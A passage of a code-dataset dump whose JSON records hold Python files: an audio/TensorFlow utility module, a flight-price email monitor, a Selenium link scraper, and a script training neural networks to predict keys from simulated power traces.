dataset = dataset.repeat(count=training_config[\"repeat\"])\n if \"shuffle_buffer_size\" in training_config:\n dataset = dataset.shuffle(training_config[\"shuffle_buffer_size\"])\n if \"batch_size\" in training_config:\n dataset = dataset.batch(training_config[\"batch_size\"])\n if \"prefetch\" in training_config:\n dataset = dataset.prefetch(training_config[\"prefetch\"])\n return dataset, features_meta\n\ndef generate_and_load_dummy_features(N, features_meta, training_config=None):\n \"\"\"\n Generate dummy dataset with normally distributed features with unit variance and far apart means.\n \"\"\"\n import tensorflow as tf\n if training_config is None:\n training_config = {}\n num_labels = features_meta[\"num_labels\"]\n num_features = features_meta[\"num_features\"]\n def onehot(i):\n o = np.zeros(num_labels, dtype=np.float32)\n o[i] = 1.0\n return o\n seq_len = features_meta.get(\"sequence_length\", 0)\n if seq_len:\n feat_shape = [seq_len, num_features]\n else:\n feat_shape = [num_features]\n def gauss_spikes():\n separation = 100.0\n centers = 100.0 * (np.arange(num_labels) - num_labels // 2)\n onehot_labels = (onehot(i) for i in range(num_labels))\n for onehot_label, center in itertools.cycle(zip(onehot_labels, centers)):\n yield np.random.normal(center, 1, feat_shape), onehot_label\n dataset = tf.data.Dataset.from_generator(\n gauss_spikes,\n (tf.float32, tf.float32),\n (tf.TensorShape(feat_shape), tf.TensorShape([num_labels]))\n )\n dataset = dataset.take(N)\n if \"shuffle_buffer_size\" in training_config:\n dataset = dataset.shuffle(training_config[\"shuffle_buffer_size\"])\n if \"batch_size\" in training_config:\n dataset = dataset.batch(training_config[\"batch_size\"])\n if \"prefetch\" in training_config:\n dataset = dataset.prefetch(training_config[\"prefetch\"])\n return dataset\n\ndef iter_log_events(tf_event_file):\n import tensorflow as tf\n from tensorflow.core.util.event_pb2 import Event\n for event in tf.data.TFRecordDataset([tf_event_file]):\n event = Event.FromString(event.numpy())\n if event.summary.value:\n assert len(event.summary.value) == 1, \"Unexpected length for event summary\"\n value = event.summary.value[0]\n yield value.tag, value.simple_value\n\ndef remove_silence(wav, aggressiveness=0):\n \"\"\"\n Perform voice activity detection with webrtcvad.\n \"\"\"\n frame_length_ms = 10\n expected_sample_rates = (8000, 16000, 32000, 48000)\n data, fs = wav\n assert fs in expected_sample_rates, \"sample rate was {}, but webrtcvad supports only following samples rates: {}\".format(fs, expected_sample_rates)\n frame_width = int(fs * frame_length_ms * 1e-3)\n # Do voice activity detection for each frame, creating an index filter containing True if frame is speech and False otherwise\n vad = webrtcvad.Vad(aggressiveness)\n speech_indexes = []\n for frame_start in range(0, data.size - (data.size % frame_width), frame_width):\n frame_bytes = bytes(data[frame_start:(frame_start + frame_width)])\n speech_indexes.extend(frame_width*[vad.is_speech(frame_bytes, fs)])\n # Always filter out the tail if it does not fit inside the frame\n speech_indexes.extend((data.size % frame_width) * [False])\n return data[speech_indexes], fs\n\ndef apply_sox_transformer(src_paths, dst_paths, transform_steps):\n t = sox.Transformer()\n for transform, value in transform_steps:\n if transform == \"normalize\":\n t = t.norm(float(value))\n elif transform == \"volume\":\n t = t.vol(float(value), gain_type=\"amplitude\")\n elif transform == \"speed\":\n t = t.speed(float(value))\n elif transform == \"reverse\" and value:\n t = t.reverse()\n # Try to apply the transformation on every src_path, building output files into every dst_path\n for src, dst in zip(src_paths, dst_paths):\n if t.build(src, dst):\n yield src, dst\n else:\n yield src, None\n\ndef get_total_duration_sec(paths):\n # Run SoXi for all files\n soxi_cmd = \"soxi -D -T\"\n seconds = sum(float(output) for output in run_for_files(soxi_cmd, paths))\n return round(seconds)\n\ndef get_total_duration(paths):\n secs = get_total_duration_sec(paths)\n mins, secs = secs // 60, secs % 60\n hours, mins = mins // 60, mins % 60\n return hours, mins, secs\n\ndef format_duration(duration):\n return \"{:02d}h {:02d}min {:02d}sec\".format(*duration)\n\ndef parse_path_list(path):\n paths = []\n labels = []\n with open(path) as f:\n for line in f:\n path, label = line.strip().split()[:2]\n paths.append(path)\n labels.append(label)\n return paths, labels\n", "sub_path": "lidbox/system.py", "file_name": "system.py", "file_ext": "py", "file_size_in_byte": 17012, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "subprocess.run", "line_number": 23, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "scipy.io.arff.loadarff", "line_number": 50, "usage_type": "call"}, {"api_name": "scipy.io.arff", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.vstack", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 56, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 74, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 78, "usage_type": "call"}, {"api_name": "gzip.open", "line_number": 82, "usage_type": "call"}, {"api_name": "json.load", "line_number": 83, "usage_type": "call"}, {"api_name": "gzip.open", "line_number": 86, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 93, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 98, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 102, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 112, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path", "line_number": 117, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 132, "usage_type": "call"}, {"api_name": "os.scandir", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.train.Feature", "line_number": 145, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 145, "usage_type": "attribute"}, {"api_name": "tensorflow.train.FloatList", "line_number": 145, "usage_type": "call"}, {"api_name": "tensorflow.train.Feature", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 147, "usage_type": "attribute"}, {"api_name": "tensorflow.train.FloatList", "line_number": 147, "usage_type": "call"}, {"api_name": "tensorflow.train.FeatureList", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 148, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Features", "line_number": 153, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 153, "usage_type": "attribute"}, {"api_name": "tensorflow.train.FeatureLists", "line_number": 158, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 158, "usage_type": "attribute"}, {"api_name": "tensorflow.train.SequenceExample", "line_number": 159, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 159, "usage_type": "attribute"}, {"api_name": "tensorflow.io.FixedLenFeature", "line_number": 167, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 167, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 167, "usage_type": "attribute"}, {"api_name": "tensorflow.io.FixedLenSequenceFeature", "line_number": 170, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 170, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 170, "usage_type": "attribute"}, {"api_name": "tensorflow.io.parse_single_sequence_example", "line_number": 172, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 172, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 189, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 192, "usage_type": "call"}, {"api_name": "tensorflow.io.TFRecordWriter", "line_number": 194, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 194, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 195, "usage_type": "call"}, {"api_name": "tensorflow.train.Feature", "line_number": 206, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 206, "usage_type": "attribute"}, {"api_name": "tensorflow.train.FloatList", "line_number": 206, "usage_type": "call"}, {"api_name": "tensorflow.train.Example", "line_number": 211, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 211, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Features", "line_number": 211, "usage_type": "call"}, {"api_name": "tensorflow.io.FixedLenFeature", "line_number": 216, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 216, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 216, "usage_type": "attribute"}, {"api_name": "tensorflow.io.FixedLenFeature", "line_number": 217, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 217, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 217, "usage_type": "attribute"}, {"api_name": "tensorflow.io.parse_single_example", "line_number": 219, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 219, "usage_type": "attribute"}, {"api_name": "tensorflow.device", "line_number": 243, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 252, "usage_type": "call"}, {"api_name": "json.load", "line_number": 257, "usage_type": "call"}, {"api_name": "tensorflow.data.TFRecordDataset", "line_number": 270, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 270, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 277, "usage_type": "call"}, {"api_name": "os.path", "line_number": 277, "usage_type": "attribute"}, {"api_name": "itertools.repeat", "line_number": 285, "usage_type": "call"}, {"api_name": "tensorflow.data.experimental.sample_from_datasets", "line_number": 297, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 297, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 320, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 330, "usage_type": "call"}, {"api_name": "itertools.cycle", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 333, "usage_type": "attribute"}, {"api_name": "tensorflow.data.Dataset.from_generator", "line_number": 334, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 334, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 336, "usage_type": "attribute"}, {"api_name": "tensorflow.TensorShape", "line_number": 337, "usage_type": "call"}, {"api_name": "tensorflow.data.TFRecordDataset", "line_number": 351, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 351, "usage_type": "attribute"}, {"api_name": "tensorflow.core.util.event_pb2.Event.FromString", "line_number": 352, "usage_type": "call"}, {"api_name": "tensorflow.core.util.event_pb2.Event", "line_number": 352, "usage_type": "name"}]} +{"seq_id": "456384646", "text": "#!/usr/bin/env python3\n\nimport sys\nimport json\nimport smtplib\nimport argparse\nimport requests\n\nfrom datetime import datetime, timedelta\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\n\n# mail configuration\nSMTP_HOST = \"\"\nSMTP_PORT = 465\nSMTP_USER = \"\"\nSMTP_PASS = \"\"\nMAIL_RECV = [\"\"]\nURL = 'https://api.skypicker.com/flights?v=3&flight_type=return&fly_from={}&fly_to={}&date_from={}&nights_in_dst_from={}&nights_in_dst_to={}&price_to={}'\n\n\nparser = argparse.ArgumentParser(description='Kiwi flight monitor')\nparser.add_argument('--from', dest='src', default=['OPO'], nargs='+', help='where to take off - airportcodes, country codes, anywhere, area codes')\nparser.add_argument('--to', dest='dst', default=['PRG'], nargs='+', help='destinations - airportcodes, country codes, anywhere, area codes')\nparser.add_argument('--length-min', type=int, dest='length_min', default=3, help='minimal length of stay (days)')\nparser.add_argument('--length-max', type=int, dest='length_max', default=10, help='maximal length of stay (days)')\nparser.add_argument('--price', type=int, dest='price', default=60, help='maximal price')\nparser.add_argument('--date', type=datetime, dest='date', default=datetime.now(), help='First day')\n\n\ndef load_flights(args):\n url = URL.format(\n ','.join(args.src),\n ','.join(args.dst),\n args.date.strftime('%d/%m/%Y'),\n args.length_min,\n args.length_max, args.price\n )\n return requests.get(url).json()['data']\n\n\ndef summarize(flight):\n return {\n 'from': '{}, {}'.format(flight['cityFrom'], flight['countryFrom']['name']),\n 'to': '{}, {}'.format(flight['cityTo'], flight['countryTo']['name']),\n 'price': flight['price'],\n 'length': flight['nightsInDest'],\n 'date': datetime.fromtimestamp(flight['dTime']).strftime(\"%d.%M.%Y\"),\n }\n\n\ndef get_flights(args):\n flights = load_flights(args)\n return [summarize(flight) for flight in flights]\n\n\ndef mail(to, text):\n src = \"flights@vokracko.cz\"\n msg = MIMEMultipart('alternative')\n msg['Subject'] = \"Kiwi flights monitor\"\n msg['From'] = src\n msg['To'] = ','.join(to)\n msg.attach(MIMEText(text))\n\n with smtplib.SMTP_SSL(SMTP_HOST, SMTP_PORT) as s:\n s.login(SMTP_USER, SMTP_PASS)\n s.send_message(msg, src, to)\n\n\ndef to_text(flights):\n lines = []\n\n for flight in flights:\n line = '{} -> {}; {}; {}; {}'.format(\n flight['from'],\n flight['to'],\n flight['price'],\n flight['length'],\n flight['date']\n )\n lines.append(line)\n\n return '\\n'.join(lines)\n\n\ndef load_previous():\n with open(\"flights.json\") as fd:\n return json.load(fd)[\"flights\"]\n\n\ndef save_current(flights):\n with open(\"flights.json\", \"w+\") as fd:\n json.dump({'flights': flights}, fd, indent=4)\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n flights = get_flights(args)\n\n if not flights:\n sys.exit(0)\n\n if sys.__stdin__.isatty():\n print(to_text(flights))\n else:\n previous = load_previous()\n flights = [flight for flight in flights if flight not in previous]\n mail(MAIL_RECV, to_text(flights))\n save_current(previous + flights)\n", "sub_path": "kiwi.py", "file_name": "kiwi.py", "file_ext": "py", "file_size_in_byte": 3271, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 28, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "name"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 59, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 63, "usage_type": "call"}, {"api_name": "smtplib.SMTP_SSL", "line_number": 65, "usage_type": "call"}, {"api_name": "json.load", "line_number": 88, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 93, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 101, "usage_type": "call"}, {"api_name": "sys.__stdin__.isatty", "line_number": 103, "usage_type": "call"}, {"api_name": "sys.__stdin__", "line_number": 103, "usage_type": "attribute"}]} +{"seq_id": "555783791", "text": "#----------- daraz crawl\r\nimport openpyxl\r\nimport sys, os, time\r\nimport re\r\nimport requests\r\nfrom random import *\r\nimport random,string\r\nfrom array import array\r\nfrom bs4 import BeautifulSoup\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nif __name__ == \"__main__\":\r\n if getattr(sys, 'frozen', False):\r\n chromedriver_path = os.path.join(sys._MEIPASS, \"chromedriver.exe\")\r\n driver = webdriver.Chrome(chromedriver_path)\r\n else:\r\n driver = webdriver.Chrome()\r\npath=input(\"Please Enter folder path: \")\r\nos.chdir(path)\r\nfilename=input(\"Please Enter file name: \")\r\npagename=input('Enter store link: ')\r\npages1=input('Enter starting page: ')\r\npage1=int(pages1)\r\npages2=input('Enter final page: ')\r\npage2=int(pages2)\r\nwb=openpyxl.Workbook()\r\nsheet=wb.active\r\nsheet.cell(row=1, column=1).value=\"Links\"\r\nprint(\"Extract store link starts...\")\r\nx=0\r\nurls=[]\r\nbrowser = webdriver.Chrome()\r\nfor i in range(page1,page2+1):\r\n p=pagename.find('samsung-galaxy-a10s')\r\n if(p>1):\r\n newpage=pagename.replace('samsung-galaxy-a10s','samsung-galaxy-a10s?page='+str(i))\r\n browser.get(newpage)\r\n time.sleep(3)\r\n else:\r\n browser.get(pagename+\"?page=\"+str(i)) \r\n time.sleep(3)\r\n for j in range(1,501):\r\n k=str(j)\r\n d='//div[@class=\"row categoryProduct xsResponse clearfix\"]/div[' \r\n e=']/div/div/a'\r\n f=d+k+e\r\n try:\r\n dpage=browser.find_element_by_xpath(f).get_attribute('href')\r\n except:\r\n pass\r\n urls.insert(0,str(dpage))\r\nurls=list(set(urls))\r\nbrowser.quit()\r\nfor i in range(len(urls)):\r\n print(\"Link: \"+str(i+1))\r\n sheet.cell(row=x+2, column=1).value=urls[i]\r\n x=x+1\r\n wb.save(filename+'.xlsx')\r\nwb.save(filename+'.xlsx')\r\nprint(\"Download Compeltes...\")\r\n", "sub_path": "customforlinks_pagination_others.py", "file_name": "customforlinks_pagination_others.py", "file_ext": "py", "file_size_in_byte": 1827, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys._MEIPASS", "line_number": 14, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 15, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 15, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 17, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 17, "usage_type": "name"}, {"api_name": "os.chdir", "line_number": 19, "usage_type": "call"}, {"api_name": "openpyxl.Workbook", "line_number": 26, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 32, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 32, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 41, "usage_type": "call"}]} +{"seq_id": "92085269", "text": "import sys\nsys.path.insert(0, '/xdisk/rlysecky/manojgopale/extra/gem5KeyPrediction/scr/')\nimport classify_general\nimport newLoadData\nimport time\nimport random\nimport gc\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom optparse import OptionParser\n\nparser = OptionParser()\nparser.add_option('--trainSize',\n\t\t\t\t\t\t\t\t\taction = 'store', type='int', dest='trainSize', default = 28000)\nparser.add_option('--resultDir',\n\t\t\t\t\t\t\t\t\taction = 'store', type='string', dest='resultDir', default = '/xdisk/rlysecky/manojgopale/extra/gem5KeyPrediction/result/')\nparser.add_option('--modelName',\n\t\t\t\t\t\t\t\t\taction = 'store', type='string', dest='modelName', default = 'gem5Model')\nparser.add_option('--configName',\n\t\t\t\t\t\t\t\t\taction = 'store', type='string', dest='configName', default = 'config3p1')\nparser.add_option('--trainFlag',\n\t\t\t\t\t\t\t\t\taction = 'store', type='int', dest='trainFlag', default = 1)\nparser.add_option('--devFlag',\n\t\t\t\t\t\t\t\t\taction = 'store', type='int', dest='devFlag', default = 1)\nparser.add_option('--testFlag',\n\t\t\t\t\t\t\t\t\taction = 'store', type='int', dest='testFlag', default = 0)\nparser.add_option('--numPowerTraces',\n\t\t\t\t\t\t\t\t\taction = 'store', type='int', dest='numPowerTraces', default = 1500)\n\n(options, args) = parser.parse_args()\n\n########\ntrainSize = options.trainSize\nresultDir = options.resultDir\nmodelName = options.modelName\nconfigName = options.configName\ntrainFlag = options.trainFlag\ndevFlag = options.devFlag\ntestFlag = options.testFlag\nnumPowerTraces = options.numPowerTraces\n\ndataDir = \"/xdisk/rlysecky/manojgopale/xdisk/gem5DataCollection/csvResult/\"\ndata=newLoadData.Data()\nx_train, y_train = data.getData(dataDir, configName, trainSize, \"Train\")\nx_train, y_train = data.shuffleData(x_train, y_train)\ny_train_oh = data.oneHotY(y_train)\n\n## Save images of first 5 traces before and after norm\nplt_x = np.linspace(0,numPowerTraces-1, num=numPowerTraces)\nfor index in range(5):\n\tplt.plot(plt_x, x_train.iloc[index], 'b')\n\tfigName = resultDir + \"/\" + configName + \"/images_debug/\" + modelName + \"_train_\" + str(time.strftime(\"%Y%m%d-%H%M%S\")) + \"_preStd_key\" + str(y_train.iloc[index].values[0]) + \".png\"\n\tplt.savefig(figName)\n\tplt.close()\n\n## RowStd\nx_train = data.stdDataRowWise(x_train.to_numpy())\nfor index in range(5):\n\tplt.plot(plt_x, x_train[index], 'k')\n\tfigName = resultDir + \"/\" + configName + \"/images_debug/\" + modelName + \"_train_\" + str(time.strftime(\"%Y%m%d-%H%M%S\")) + \"_postStd_key\" + str(y_train.iloc[index].values[0]) + \".png\"\n\tplt.savefig(figName)\n\tplt.close()\n\ngc.collect()\nprint(\"\\nGarbage collected after train\\n\")\n\nx_dev, y_dev = data.getData(dataDir, configName, 1000, \"Dev\")\nx_dev, y_dev = data.shuffleData(x_dev, y_dev)\ny_dev_oh = data.oneHotY(y_dev)\n\nfor index in range(5):\n\tplt.plot(plt_x, x_dev.iloc[index], 'r')\n\tfigName = resultDir + \"/\" + configName + \"/images_debug/\" + modelName + \"_dev_\" + str(time.strftime(\"%Y%m%d-%H%M%S\")) + \"_preStd_key\" + str(y_dev.iloc[index].values[0]) + \".png\"\n\tplt.savefig(figName)\n\tplt.close()\n\nx_dev = data.stdDataRowWise(x_dev.to_numpy())\nfor index in range(5):\n\tplt.plot(plt_x, x_dev[index], 'g')\n\tfigName = resultDir + \"/\" + configName + \"/images_debug/\" + modelName + \"_dev_\" + str(time.strftime(\"%Y%m%d-%H%M%S\")) + \"_postStd_key\" + str(y_dev.iloc[index].values[0]) + \".png\"\n\tplt.savefig(figName)\n\tplt.close()\n\ngc.collect()\nprint(\"\\nGarbage collected after dev\\n\")\n\nx_test, y_test = data.getData(dataDir, configName, 100, \"Test\")\nx_test, y_test = data.shuffleData(x_test, y_test)\ny_test_oh = data.oneHotY(y_test)\nx_test = data.stdDataRowWise(x_test.to_numpy())\ngc.collect()\nprint(\"\\nGarbage collected after test\\n\")\n\n##This is from the classify_general\n#MtrainData, devData, testData = classify_general.getData(dataDir, configName, trainSize, trainFlag, devFlag, testFlag)\n#M\n#Mx_train, y_train_oh = trainData\n#Mx_dev, y_dev_oh = devData\n#Mx_test, y_test_oh = testData\n\n## Instantiate the model and test, dev and training sets\n##resultDir = \"/extra/manojgopale/AES_data/config3p1_15ktraining/result_new\"\n##modelName = \"m_newscript\"\nnp.random.seed()\n\n#numAllHiddenLayers = [3,4,5,6,7,8,9,10]\nnumAllHiddenLayers = [1,2,3,4]\nhiddenLayerDict = {\"num\": [1,2,3,4,5,6,7,8,9,10], \"factor\": [10, 100, 1000]}\nallAct = ['relu', 'tanh', 'elu']\nallDrop = [0, 0.1, 0.2, 0.3, 0.4, 0.5]\nbatchNormBin = [0, 1] ##Disabled batch norm to check if the runs go through\n## Lower batizes did not yield good results, starting from 2^10\n#batchSizePowers = [5,6,7,8,9,10,11,12,13,14,15,16]\n#batchSizePowers = [10,11,12,13,14,15,16] ##Till run170\nbatchSizePowers = [10,11,12,13]\nallOpt = ['Adam', 'SGD', 'RMSprop', 'Adadelta', 'Adagrad', 'Adamax', 'Nadam', 'Ftrl']\n\n## number of samples is not required, since default is none, \n## and also will return an array if samples is provided, which wont work while indexing\nnumHiddenLayers = numAllHiddenLayers[np.random.random_integers(0, len(numAllHiddenLayers)-1)]\nactList = [allAct[i] for i in np.random.random_integers(0, len(allAct)-1, numHiddenLayers).tolist()]\ndropList = [allDrop[i] for i in np.random.random_integers(0, len(allDrop)-1, numHiddenLayers).tolist()]\nbatchNorm = [batchNormBin[i] for i in np.random.random_integers(0, len(batchNormBin)-1, numHiddenLayers).tolist()]\nbatchSize = np.power(2, batchSizePowers[np.random.random_integers(0, len(batchSizePowers)-1)])\nlearingRate = np.float_power(10, np.random.random_integers(-3,0))\nepsilonValue = np.float_power(10, np.random.random_integers(-7, 0))\n#MoptStr = random.sample(allOpt, 1)\noptStr = \"Adam\" ## Hardcoding Adam for initial runs\nlearningRate = np.float_power(10,-3) ## Hardcoding epsilon and lr to default in initial runs\nepsilonValue = np.float_power(10, -7)\n\n#hiddenLayer = np.array([hiddenLayerDict[\"num\"][i] for i in np.random.random_integers(0, len(hiddenLayerDict[\"num\"])-1, numHiddenLayers).tolist()]) * np.array([hiddenLayerDict[\"factor\"][i] for i in np.random.random_integers(0, len(hiddenLayerDict[\"factor\"])-1, numHiddenLayers).tolist()])\n## Get random integers between 100, 1500 , those seems to be giving better results\n#MhiddenLayer = np.random.randint(100, 10000, numHiddenLayers)\nhiddenLayer = [np.power(2,i) for i in np.random.random_integers(5,9, size=numHiddenLayers)]## runs 1-10 with powers of 2\n\nrunLogsPath = \"/xdisk/rlysecky/manojgopale/extra/gem5KeyPrediction/log/\" + configName + \"/allRuns.csv\"\nwith open(runLogsPath, 'a') as f:\n\t## modelName must be unique like run_\n\tf.write(\"\\n%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s\\n\" %(modelName, numHiddenLayers, hiddenLayer, actList, dropList, batchNorm, batchSize, trainSize, learningRate, epsilonValue, optStr))\n\nt0_time = time.time()\n## This is for x_train is not pandas df\n#Mclassifier = classify_general.Classifier(resultDir, modelName, x_train, y_train_oh, x_dev, y_dev_oh, x_test, y_test_oh, hiddenLayer, actList, dropList, batchNorm, numPowerTraces, configName)\nprint(\"type of, x_train=%s, y_train_oh=%s\\n\" %(type(x_train), type(y_train_oh)))\nclassifier = classify_general.Classifier(resultDir, modelName, x_train, y_train_oh, x_dev, y_dev_oh, x_test, y_test_oh, hiddenLayer, actList, dropList, batchNorm, numPowerTraces, configName, learningRate, epsilonValue, optStr)\nt1_time = time.time()\nprint(\"\\nTime to load the dataset in python for training is %s seconds\\n\" %(t1_time-t0_time))\n\n## Train the model\nstartTime = time.time()\nclassifier.train(batchSize)\nendTime = time.time()\ntrainTime = endTime - startTime\nprint(\"\\nTime to train with batchSize= %s is %s seconds\\n\" %(batchSize, trainTime))\n\n## Evaluate\nclassifier.evaluate()\n\n##Save the model\nclassifier.saveModel()\n\n## run Key accuracy class\nclassifier.keyAccuracy()\n", "sub_path": "scripts_092221_backup/gem5KeyPrediction/run_rowStd_template.py", "file_name": "run_rowStd_template.py", "file_ext": "py", "file_size_in_byte": 7613, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sys.path.insert", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "optparse.OptionParser", "line_number": 14, "usage_type": "call"}, {"api_name": "newLoadData.Data", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "gc.collect", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "gc.collect", "line_number": 86, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 106, "usage_type": "attribute"}, {"api_name": "numpy.random.random_integers", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.random.random_integers", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 123, "usage_type": "attribute"}, {"api_name": "numpy.random.random_integers", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 